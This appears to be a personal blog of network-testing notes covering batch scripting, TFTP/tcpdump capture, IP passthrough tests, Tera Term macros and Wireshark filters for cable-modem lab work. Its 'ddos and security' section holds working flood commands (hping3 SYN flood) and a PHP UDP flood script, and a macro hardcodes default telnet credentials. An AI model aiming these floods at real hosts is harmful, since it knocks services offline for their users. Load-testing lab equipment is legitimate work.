Thursday, April 16, 2020

Bash append file to date and time format

Some people would like to export or append your file or log name after the date and time format, like this YYMMDD_MMHHSS.

i have a script it is able to append in this style
@ECHO OFF
set datetime=%date:~0,4%-%date:~8,2%-%date:~0,2%_%time:~0,2%%time:~3,2%%time:~6,2%
set datetime=%datetime: =0%
echo hello >>%datetime%.txt
EXIT
It will output like this "2020-17-20_104919.txt"

if you don't want the second just modify like this
set datetime=%date:~0,4%-%date:~8,2%-%date:~0,2%_%time:~0,2%%time:~3,2%%time:~4,0%
Resource: 
https://stackoverflow.com/questions/1192476/format-date-and-time-in-a-windows-batch-script

Wednesday, April 15, 2020

ddos and security


DDOS Related attack command

command:
1. run attac, and run bulk call should not have problem
hping2  wan0 -2 0i u2 -I eth1
hping2  mta0 -2 0i u2 -I eth1
2. while running attack =, on CPE browser WEB will cause kernel panic
hping3 -V -c 10000 -d 300 -S -p 80 -w 1500 --flood 10.15.3.4 (dummy0.3)
CPE1(lan)-------
CM-------
CMTS-----------CPE2(linux/ubuntu)
CPE1: open browser (youtube channel)
CPE2: used linux to run hping

Script to attach:
<?php 
$host = '10.200.114.18';
$pps = 5000; 
$tune = 125; 
$sock = socket_create( AF_INET, SOCK_DGRAM, SOL_UDP ); 
$uslp = (1000000 / $pps) - $tune; 
if( $uslp < 0 )
$uslp = 0; 
for( $i = 6500000; $i > 0; $i-- )
{ $port = rand( 1025, 65535 ); socket_sendto( $sock, 'LUT2', 4, 0, $host, $port ); usleep( $uslp ); }
?>

IP Passthrough

How to test IP PASS Through

TEST STEP:

With MAC address
1)      Let modem to get online
2)      Connect CPE to CM on lan side
3)      Access GUI from Lan side, and add cpe mac address from ip passthrough
4)      CPE will get the same domain as erouter0
5)      Ping to cpe from CMTS or back of cmts

CPE1----------CM--------------CMTS------------CPE2

Cpe1 will get a public ip (same domain as erouter0)
CPE2 should be able to ping to CPE1



bsod

check BSOD on CMTS
#show cable l2-vpn xconnect dot1q-vc-map
Set VLAN on your config

tcpdump and tftp command


1. Window TFTP Command
tftp -i [IP ADD] [PUT|GET][ FILE NAME]
-g:     get file
 -r:     remote
 -p:     put file
  -l:     local

tftp -i 192.168.1.55 PUT test.txt

2. TFTP Linux
Example: 
tftp [-g|-p]  -r FILENAME SERVERIP
Download: 
tftp -g -r tcpdump 192.168.1.50

Upload
example: tftp -p -r test.txt 192.168.1.50

3. TCPdump and tftp Command, doing packet capture under ROUTER 
You can do this on linux PC also 

Capture all packet:
#cd /var/tmp
#tcpdump -nni any
Capture wan0 interface 
tcpdump -i wan0 -s 0 -w wan0.pcap&
stop capture packet, kill process id
#ps |grep .pcap
#kill -s tcpdum 'pid'

upload to your pc by tftp command
tftp -l wan0.pcap -p 192.168.1.50

Macro-Script

How to used Macro Script(Terateam) to do studd like console:

Example 1 using telnet method to login cisco server or router: 
File name: telnet_cisco.ttl
timeout = 10
connect '192.168.1.252:23 /nossh /T=1'
;Wait a prompt message to login
wait 'Username:'
; Send username
sendln 'cisco'
;Wait for a keyword to enter password
wait 'Password:'
; Send password
sendln 'cisco'
File name: cisco.bat
@echo off
cd C:\Program Files (x86)\teraterm
TTERMPRO /m=D:\Macro_script\telnet_cisco.ttl
pause
How to used it:
Just run the cisco.bat, it will automatic telnet  for you.

Example 2: using serial comport to login your console 
File name: comport.ttl
pause 5
;sendin command
sendln "pacm "
pause 2
;closett will close the screen
closett

File name: comport.bat
@echo off
cd C:\Program Files (x86)\teraterm
TTERMPRO /C=3 /BAUD=115200 /c=3 /m=D:\comport.ttl
pause
How to used it:
Just run the comport.bat, it will automatic accees using terateam to open com-port3 to your DUT console. If  you have different com-port just changed the c=3 to correct com-port. My console port is 3, so I set to 3.


wireshark Filter


Find IPV4 MAC address for DHCP
bootp.hw.mac_addr ==XX:XX:XX:XX:XX:XX
Find IPV6 MAC address for DHCP
dhcpv6.duidll.link_layer_addr == “XX:XX:XX:XX:XX:XX”
Find DNS Qeuery:
dns.qry.name == “XXX.XX.com”
Filter specific IP address overnight or many days. 
If you used above method, your PC might hang. Basely above capture all the packet and just filter. But this is not the best way if you want to capture many hours.  

In order to solve this problem, you have to just capture you wanted packet, it will not capture other packet. 
capture>options>capture filter>type your target to filter(ex: host xxx.xxx.xxx.xxx && udp port=XX)